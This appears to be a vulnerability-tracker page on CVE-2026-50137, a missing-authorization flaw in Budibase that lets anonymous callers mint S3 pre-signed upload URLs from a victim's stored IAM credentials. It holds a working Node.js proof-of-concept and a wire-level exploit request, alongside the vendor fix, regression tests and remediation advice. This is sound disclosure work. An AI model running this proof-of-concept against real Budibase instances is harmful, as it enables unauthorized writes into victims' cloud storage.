Skip to main content

Budibase CVE-2026-50137

| EUVDEUVD-2026-39913 HIGH
Missing Authorization (CWE-862)
2026-06-22 https://github.com/Budibase/budibase GHSA-35c4-rvc8-frhm
8.2
CVSS 4.0 · Vendor: https://github.com/Budibase/budibase
Share

Severity by source

Vendor (https://github.com/Budibase/budibase) PRIMARY
8.2 HIGH
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
7.0 HIGH

Network, unauthenticated (PR:N), no UI; AC:H because valid app/datasource ids must be enumerated; I:H from arbitrary writes via victim IAM creds, C:L for existence/region disclosure, A:L for S3 cost exhaustion.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L
4.0 AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/Budibase/budibase).

CVSS VectorVendor: https://github.com/Budibase/budibase

CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

6
Analysis Updated
Jun 26, 2026 - 21:28 vuln.today
v3 (cvss_changed)
Analysis Updated
Jun 26, 2026 - 21:28 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Jun 26, 2026 - 21:22 vuln.today
cvss_changed
CVSS changed
Jun 26, 2026 - 21:22 NVD
8.2 (HIGH)
Source Code Evidence Fetched
Jun 23, 2026 - 00:00 vuln.today
Analysis Generated
Jun 23, 2026 - 00:00 vuln.today

DescriptionCVE.org

Summary

The Budibase server route POST /api/attachments/:datasourceId/url (packages/server/src/api/routes/static.ts) is registered with only the recaptcha middleware. There is no authorized(...) middleware in the chain. The controller (packages/server/src/api/controllers/static/index.ts::getSignedUploadURL) looks the requested datasource up, instantiates an AWS S3 client with the datasource's stored accessKeyId / secretAccessKey, and returns an AWS Signature V4 pre-signed PutObjectCommand URL for the caller-supplied bucket and key. The bucket is not pinned to the datasource's configured bucket.

The workspace context required by sdk.datasources.get is sourced by getWorkspaceIdFromCtx (packages/backend-core/src/utils/utils.ts) from any of: the x-budibase-app-id header, the JSON body appId, a path segment that begins with the workspace prefix, or ?appId=. auth.buildAuthMiddleware([], { publicAllowed: true }) runs before any of this and explicitly allows anonymous requests. The currentWorkspace middleware's "deny access to dev preview" branch only triggers under isBrowser(ctx) && !isApiKey(ctx); isBrowser checks the parsed User-Agent for a recognised browser, so any non-browser client (curl, the supplied PoC, any tool not setting a browser UA) is neither and reaches dev workspaces too.

Net effect: an anonymous attacker who knows or can enumerate a workspace id (app_...) and an S3-source datasource id (ds_...) can call this endpoint with no auth and obtain a 15-minute pre-signed PUT URL minted on the victim's IAM identity. The endpoint also returns the publicUrl so the attacker knows exactly where their PUT lands. Because bucket is attacker-controlled, the attacker can write to any bucket those IAM credentials can write to, not only the bucket the datasource was configured for.

Affected code

packages/server/src/api/routes/static.ts at HEAD 56d2a984 (master, 2026-05-18):

ts
import { permissions } from "@budibase/backend-core"
import Router from "@koa/router"
import { authorizedMiddleware as authorized } from "../../middleware/authorized"
import recaptcha from "../../middleware/recaptcha"
import { paramResource } from "../../middleware/resourceId"
import * as controller from "../controllers/static"

const { BUILDER, PermissionType, PermissionLevel } = permissions

const router: Router = new Router()
// ...
router
  .post("/api/attachments/process", authorized(BUILDER), controller.uploadFile)
  .post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip)
  .post(
    "/api/attachments/:tableId/upload",
    recaptcha,
    paramResource("tableId"),
    authorized(PermissionType.TABLE, PermissionLevel.WRITE),
    controller.uploadFile
  )
  // ...
  .post(
    "/api/attachments/:datasourceId/url",
    recaptcha,
    controller.getSignedUploadURL                       // <- no authorized(...)
  )

Note the asymmetry: every other mutating endpoint on this router carries an authorized(...) middleware. The signed-URL endpoint does not.

packages/server/src/api/controllers/static/index.ts:595-645:

ts
export const getSignedUploadURL = async function (ctx) {
  let datasource
  try {
    const { datasourceId } = ctx.params
    datasource = await sdk.datasources.get(datasourceId, { enriched: true })
    if (!datasource) {
      ctx.throw(400, "The specified datasource could not be found")
    }
  } catch (error) {
    ctx.throw(400, "The specified datasource could not be found")
  }

  let signedUrl, publicUrl
  const awsRegion = (datasource?.config?.region || "eu-west-1") as string
  if (datasource?.source === "S3") {
    const { bucket, key } = ctx.request.body || {}
    if (!bucket || !key) {
      ctx.throw(400, "bucket and key values are required")
    }
    try {
      let endpoint = datasource?.config?.endpoint
      if (endpoint && !utils.urlHasProtocol(endpoint)) {
        endpoint = `https://${endpoint}`
      }
      const s3 = new S3({
        region: awsRegion,
        endpoint,
        credentials: {
          accessKeyId: datasource?.config?.accessKeyId as string,
          secretAccessKey: datasource?.config?.secretAccessKey as string,
        },
      })
      const params = { Bucket: bucket, Key: key }
      signedUrl = await getSignedUrl(s3, new PutObjectCommand(params))
      if (endpoint) {
        publicUrl = `${endpoint}/${bucket}/${key}`
      } else {
        publicUrl = `https://${bucket}.s3.${awsRegion}.amazonaws.com/${key}`
      }
    } catch (error: any) {
      ctx.throw(400, error)
    }
  }

  ctx.body = { signedUrl, publicUrl }
}

sdk.datasources.get(datasourceId, { enriched: true }) (packages/server/src/sdk/workspace/datasources/datasources.ts) does the workspace DB read and also substitutes {{ env.* }} references in the config via processObjectSync, so even if the operator stored credentials as environment-variable references, those values are resolved before the S3 client is built.

recaptcha (packages/server/src/middleware/recaptcha.ts) short-circuits to next() whenever the workspace either is not a production workspace or does not have features.recaptchaEnabled = true on its metadata. Neither is set by default. Even on workspaces with recaptcha enabled, builders carrying the x-budibase-type: builder header skip the check, but that branch is irrelevant here - the broader case is that an anonymous attacker simply chooses a non-prod workspace (which is the default for any in-development app) and the middleware no-ops.

Reproduction

Proof-of-concept Node.js script (no AWS SDK dependency, no external libraries):

js
#!/usr/bin/env node
// PoC: Unauthenticated S3 signed-upload-URL minting in Budibase
// usage: node poc.js <budibase-base-url> <app-id> <datasource-id>

"use strict"
const http = require("http")
const https = require("https")
const { URL } = require("url")

function postJson(targetUrl, headers, body) {
  return new Promise((resolve, reject) => {
    const u = new URL(targetUrl)
    const lib = u.protocol === "https:" ? https : http
    const payload = Buffer.from(JSON.stringify(body), "utf8")
    const req = lib.request(
      {
        method: "POST",
        protocol: u.protocol,
        hostname: u.hostname,
        port: u.port || (u.protocol === "https:" ? 443 : 80),
        path: u.pathname + u.search,
        headers: Object.assign(
          {
            "Content-Type": "application/json",
            "Content-Length": payload.length,
            // Deliberately not a recognised browser UA so the
            // currentWorkspace dev-preview redirect does not fire.
            "User-Agent": "budibase-poc/1.0",
          },
          headers || {}
        ),
      },
      res => {
        const chunks = []
        res.on("data", c => chunks.push(c))
        res.on("end", () =>
          resolve({
            status: res.statusCode,
            body: Buffer.concat(chunks).toString("utf8"),
          })
        )
      }
    )
    req.on("error", reject)
    req.write(payload)
    req.end()
  })
}

async function main() {
  const [baseUrl, appId, datasourceId] = process.argv.slice(2)
  if (!baseUrl || !appId || !datasourceId) {
    console.error("usage: node poc.js <baseUrl> <appId> <datasourceId>")
    process.exit(2)
  }
  const bucket = process.env.POC_BUCKET || "attacker-chosen-bucket"
  const key = process.env.POC_KEY || `pwn/${Date.now()}.html`
  const url = baseUrl.replace(/\/$/, "") +
    `/api/attachments/${encodeURIComponent(datasourceId)}/url`
  const resp = await postJson(
    url,
    { "x-budibase-app-id": appId },
    { bucket, key }
  )
  console.log(`HTTP ${resp.status}`)
  console.log(resp.body)
}

main().catch(err => {
  console.error(err)
  process.exit(1)
})

Wire-level request:

POST /api/attachments/ds_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/url HTTP/1.1
Host: budibase.example:10000
x-budibase-app-id: app_dev_yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
Content-Type: application/json
User-Agent: budibase-poc/1.0
Content-Length: 36

{"bucket":"victim-bucket","key":"x.html"}

Response:

HTTP/1.1 200 OK
Content-Type: application/json

{
  "signedUrl": "https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...%2F20260519%2Feu-west-1%2Fs3%2Faws4_request&X-Amz-Date=20260519T120000Z&X-Amz-Expires=900&X-Amz-Signature=...&X-Amz-SignedHeaders=host&x-id=PutObject",
  "publicUrl": "https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html"
}

The attacker then PUTs arbitrary bytes to signedUrl and they land at publicUrl, signed by - and IAM-scoped to - the victim's stored S3 credentials.

The existing test that exercises the endpoint, packages/server/src/api/routes/tests/static.spec.ts:123-146, sends the same request with config.defaultHeaders() (a builder auth cookie). That confirms the request shape; no negative-auth test (.set({}) or publicHeaders()) exists for this route, which is how the missing authorized(...) slipped past code review.

Impact

  • Confidentiality / Integrity: any anonymous internet user can write arbitrary objects to any bucket the configured IAM credentials can write to. The bucket parameter is attacker-controlled, so the blast radius is the full IAM policy attached to the credential, not just the bucket the operator wired into the datasource. Typical realistic outcomes: planting HTML/JS that the bucket serves at a known path (the response gives back publicUrl), overwriting an existing key the application later reads back as trusted data, racking up S3 storage / PUT cost.
  • Availability: storage / cost exhaustion. Repeated PUTs of large objects to attacker-chosen keys cost the victim.
  • Authorization scope leak: the endpoint discloses (a) whether a given datasourceId exists and is S3-typed (200 vs 400 'not found'), and (b) the resolved publicUrl which includes the region.

No MFA / OAuth / per-user check exists between the request and the issued pre-signed URL. The credentials are not returned in plaintext, but the pre-signed URL is functionally equivalent to a 15-minute capability to PUT to the chosen bucket/key.

Suggested fix

Attach authorized(PermissionType.TABLE, PermissionLevel.WRITE) (or a higher gate, e.g. BUILDER, depending on intended audience) to the route, mirroring the sibling /api/attachments/:tableId/upload registration. Additionally, validate that the requested bucket matches datasource.config.bucket so the IAM blast radius is reduced to the configured bucket only.

Minimal patch shape:

ts
.post(
  "/api/attachments/:datasourceId/url",
  recaptcha,
  paramResource("datasourceId"),
  authorized(PermissionType.TABLE, PermissionLevel.WRITE),
  controller.getSignedUploadURL
)

And in the controller, before calling getSignedUrl:

ts
const configuredBucket = datasource?.config?.bucket
if (configuredBucket && bucket !== configuredBucket) {
  ctx.throw(400, "bucket does not match configured datasource bucket")
}

Credit

Reported by tonghuaroot (tonghuaroot@gmail.com).

Fix PR

A candidate fix has been prepared on the temporary private fork that was created from this advisory:

  • PR: https://github.com/Budibase/budibase-ghsa-35c4-rvc8-frhm/pull/1
  • Branch: fix/attachment-url-auth-and-bucket-pin
  • Commit: Require builder auth and pin bucket on POST /api/attachments/:datasourceId/url

The patch is the canonical two-part fix:

  1. Attach authorized(BUILDER) to POST /api/attachments/:datasourceId/url on packages/server/src/api/routes/static.ts, mirroring the surrounding POST /api/attachments/process and POST /api/pwa/process-zip registrations. Anonymous callers now receive 401 regardless of whether the recaptcha middleware fails open.
  2. Pin Bucket to datasource.config.bucket inside getSignedUploadURL (packages/server/src/api/controllers/static/index.ts) and ignore any bucket value supplied in the request body. If the datasource has no bucket configured, the route now returns 400 instead of issuing an unbounded pre-signed URL.

Two regression tests are added in packages/server/src/api/routes/tests/static.spec.ts:

  • should reject unauthenticated callers (anonymous request with config.publicHeaders() now returns 401, was 200 before).
  • should ignore a client-supplied bucket and pin to the datasource's configured bucket (authenticated request with body { bucket: "other-bucket", key: "bar" } returns a signed URL bound to foo.s3.eu-west-1.amazonaws.com/bar, not other-bucket).

Test run on the patch (Jest, packages/server):

PASS src/api/routes/tests/static.spec.ts
  /static
    /attachments
      generateSignedUrls
        v should be able to generate a signed upload URL
        v should reject unauthenticated callers
        v should ignore a client-supplied bucket and pin to the datasource's configured bucket
        v should reject when the datasource has no configured bucket
        v should handle an invalid datasource ID
        v should require a key parameter

AnalysisAI

Unauthenticated S3 pre-signed URL minting in Budibase (npm @budibase/server before 3.39.0) lets anonymous attackers abuse the route POST /api/attachments/:datasourceId/url, which was registered with only a recaptcha middleware and no authorized() gate. An attacker who knows or enumerates a workspace id (app_...) and an S3 datasource id (ds_...) receives a 15-minute AWS SigV4 pre-signed PutObjectCommand URL minted on the victim's stored IAM credentials, and because the bucket is caller-controlled they can write to any bucket those credentials permit. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Enumerate valid app_ workspace and ds_ S3 datasource ids
Delivery
Send unauthenticated POST with non-browser User-Agent
Exploit
Server mints pre-signed PUT URL on victim IAM creds
Execution
PUT attacker bytes to chosen bucket/key
Impact
Malicious object served/trusted at disclosed publicUrl

Vulnerability AssessmentAI

Exploitation Exploitable only against a Budibase instance that has at least one S3-source datasource with stored accessKeyId/secretAccessKey, and the attacker must supply a valid workspace id (x-budibase-app-id header, body appId, path prefix, or ?appId=) and a valid S3 datasource id in the path - these IDs must be known or enumerated, which is the primary limiting factor. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The provided CVSS 4.0 vector (CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N, base 8.2) captures the profile well: network-reachable (AV:N), no authentication (PR:N), no user interaction (UI:N), high integrity impact (VI:H), and AC:H reflecting that the attacker must first know or enumerate valid app_ and ds_ identifiers. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker discovers an internet-exposed Budibase instance, harvests or brute-forces a valid app_ workspace id and an S3 ds_ datasource id, and sends an unauthenticated POST to /api/attachments/ds_xxxx/url with a non-browser User-Agent and a body naming a target bucket and key. The server returns a 15-minute pre-signed PUT URL bound to the victim's IAM credentials plus the publicUrl; the attacker then PUTs malicious HTML/JS or overwrites a trusted key, and the object lands at the disclosed public path. …
Remediation Vendor-released patch: upgrade @budibase/server to 3.39.0 or later, which attaches authorized(BUILDER) to POST /api/attachments/:datasourceId/url and pins the S3 Bucket to datasource.config.bucket while ignoring any client-supplied bucket (returning 400 if no bucket is configured). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Inventory all @budibase/server deployments and determine installed versions (check npm/package.json for version <3.39.0). …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

CVE-2015-5688 MEDIUM POC
5.0 Sep 04

Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2014-7192 CRITICAL POC
10.0 Dec 11

Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat

CVE-2013-4450 MEDIUM POC
5.0 Oct 21

The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se

Share

CVE-2026-50137 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy